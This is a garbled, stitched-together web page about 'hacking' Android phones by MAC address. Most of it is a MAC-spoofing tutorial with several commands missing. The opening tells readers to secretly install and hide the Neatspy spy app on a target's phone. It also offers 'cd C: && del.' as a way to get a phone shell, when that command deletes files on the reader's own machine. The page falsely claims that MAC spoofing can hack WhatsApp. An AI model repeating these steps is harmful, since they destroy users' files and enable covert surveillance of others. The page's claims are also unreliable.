Hack Any Android By Its Mac Address

Hello friends, today we will learn spoofing MAC Address on Android Mobile Phones. I will give you a brief description of a MAC address. A Media Access Control address (MAC address) is a 12-character unique identifier assigned to a specific piece of hardware, such as the network adapter, of your WiFi device. In simple words, a MAC address can be used to uniquely identify your Android phone on the Internet or the local network.

Apr 23, 2020  Step 3: Hack Android without Rooting — Download the Neatspy app and install it into the target phone. Hide the Neatspy app after installation. Step 4: Go to the Neatspy dashboard and hack other phones with computer. Now you know how to hack mobile phones with computer using Neatspy. I am finding the MAC address of the Android Device using the following code: WifiManager manager = (WifiManager) getSystemService(Context.WIFISERVICE); WifiInfo info = manager.getConnectionInfo; String address = info.getMacAddress); But in this case I am unable to get the MAC address. Security awareness seems to be a hot topic these days on the web, with developers making apps and devices that can hack networks and machines with just a few clicks. But these applications aren't only exploiting security flaws in systems and networks, they're being used by amateur and wannabe hackers who want to have a little fun, but don't want to learn how to actually 'hack' anything. Its easy, Simply go to cmd and type 'cd C: && del. ' then hit yes, you'll see it load some code then ask for your IP, input the IP and you'll have a shell on the phone.

Spoofing MAC Address on Android Devices

Even though the MAC address is embedded on the hardware device during manufacture, it can still be spoofed to input a new one of your choice. Here is a detailed instruction on how to spoof MAC address on Android phone.

You might be interested in reading about how to spoof MAC address of a Windows machine:

Before you spoof the MAC address, you need to record the original/current MAC address of your device, which can be done according to the instruction below:

  • On the Home Screen of your phone, tap the Menu button and go to Settings.
  • Tap About Device and go to Status
  • Now scroll down to record the 12-digit code shown under WiFi MAC address. An address would read something like:

Example MAC address:E5:12:D8:E5:69:97

Prerequisites for Spoofing MAC Address on Android Smartphones :

  1. Rooted Android Smartphone
  2. BusyBox app (You can download and install it from the Google Play store)
  3. Terminal app (Download and install it from the Google Play store)
Hack Any Android By Its Mac Address

Steps to Spoof MAC Address on Android Devices:

Step 1: Open the Terminal app and type the commands as listed below:

$ su [Press Enter]

$ busybox iplink show eth0 [Press Enter]

This step will show you the current MAC Address of your Android Smartphone.

Step 2: Now, let’s type the command below to replace the MAC Address with a new spoofed MAC address:

$ busybox ifconfig eth0 hw ether XX:XX:XX:XX:XX:XX [Press Enter]

This will replace your original MAC address with new MAC address.

Step 3: Now you have successfully spoofed your MAC address. Repeat step 1 to check your new MAC address.

That’s it guys! Spoofing a MAC address has multiple benefits and is extremely useful in spoofing your identity over the network. You can bypass multiple authentications, like hacking Whatsapp or other applications which use device ID for verification, just by spoofing your MAC address.

If you want to explore all the secret hack codes of Android Mobile Phones:

If you want to know how to change MAC Address using C program:

So friends, keep learning! Stay connected!


MAC Address (Media Access Control) are permanent by design, several mechanisms allow modification, or “spoofing”, of the MAC address that is reported by the operating system. This can be useful for privacy reasons, for instance when connecting to a Wi-Fi Hotspot, or to ensure interoperability. MAC Address is a unique identifier of your computer.

Some internet service providers bind their service to a specific MAC address; if the user then changes their network card or intends to install a router, the service won’t work anymore. Changing the MAC address of the new interface will solve the problem. Similarly, some software licenses are bound to a specific MAC address. Changing the MAC address in this way is not permanent- after a reboot, it will revert to the MAC address physically stored in the card. A MAC address is 48 bits in length.

A MAC address is a physical hardware address assigned to each device that has the capability of connecting to a network. The internet is nothing more than a large network. The MAC address is something that is assigned in the chip on the device and is not something the user can change.

As a MAC address can be changed, it can be unwise to rely on this as a single method of authentication. IEEE 802.1x is an emerging standard better suited to authenticate devices at a low level.

Types of MAC address:

  • Unicast address : An address for a specific computer.
  • Multicast address : An address for a specific group of computers in network.
  • Broadcast address : An address for all computers in network.

To know Your MAC Address go to command prompt by CMD command

After command ipconfig/all .. It will show your Physical Address and that is our MAC Address.

Also you find by typing command getmac /v /fo list and Enter.

You will get the output for each of your NIC adaptor (Ethernet, WiFi, Bluetooth devices) will be displayed..

How can you Change your MAC Address-

In Windows

> Press the Windows Key + Fn +Pause key and select Device Manager from the list.
Once Device Manager opens, locate your network adapter, right click it and choose Properties.


> Click on Network Adapter and navigate to Advanced tab and select Network Address from the list of Properties.
> Select Value option and enter any 12-character hexadecimal value.

> Click OK to save changes.

> All Done

If you want to reset then just select Not Present radio button. You will get reset to your default MAC Address.



Router

The method to change the MAC address of a router varies with the router. Not all routers have the ability to change their MAC address. The feature is often referred to as “clone MAC address”. This take the MAC address of one of the machine on your network and replaces the router’s existing MAC address with it. Some support the option to manually enter the MAC address.

To Change MAC Address In Linux

To change your MAC address in Linux and all it takes is two easy to script commands:

These two little commands would set your eth0 interface to use the MAC 00:00:00:00:00:01. Just plug in the NIC you want to set and the MAC address you want to use into the commands above and your done. Changing your MAC address is one of those things that is much easier to do in Linux then under Windows.

By IPRoute Command

  • First, turn off the Network card using command:
  • Next, set the new MAC is using command:
  • Finally, turn it on back with command:
  • Now, verify new MAC id using command:
Hack
  • Sample output:
  • Alternatively, you can do this using ‘ifconfig’ command as described below.
  • All done

To Making Changes Permanent – Surviving a Reboot

In openSUSE and other SUSE-based systems (SUSE enterprise desktopserver, etc.) you can make changes “permanent” across reboots by adding an appropriate entry to the /etc/sysconfig/network/ifcfg-ethN file (ifcfg-eth0 for the first Ethernet interface config file, ifcfg-eth1 – for the second, etc.):

In Red Hat Enterprise Linux (RHEL) and other similar systems (Fedora, CentOS, etc.) an easy way to make changes “permanent” across reboots is to add an appropriate entry to the /etc/sysconfig/network-scripts/ifcfg-ethN file (ifcfg-eth0 for the first Ethernet interface config file, ifcfg-eth1 – for the second, etc.):

Note: in the file is a value HWADDR – This is not the same thing. Use MACADDR for permanent changes.

The HWADDR “directive is useful for machines with multiple NICs to ensure that the interfaces are assigned the correct device names regardless of the configured load order for each NIC’s module. This directive should not be used in conjunction with MACADDR.”

Android Find Mac Address

The MACADDR “directive is used to assign a MAC address to an interface, overriding the one assigned to the physical NIC. This directive should not be used in conjunction with HWADDR.”

Upper and lower case letters are accepted when specifying the MAC address, because the network function converts all letters to upper case.

Hack Any Android By Its Mac Address Free

You can test changes without restarting the system by executing:

(WARNING: doing this will break all existing network connections!)

On Debian, Ubuntu, and similar systems, place the following in the appropriate section of /etc/network/interfaces (within an iface stanza, e.g., right after the gateway line) so that the MAC address is set when the network device is started:

References – Centos, Wiki, Windows


For the latest update about Cyber and Infosec World, follow us on Twitter, Facebook, Telegram , Instagram and subscribe to our YouTube Channel.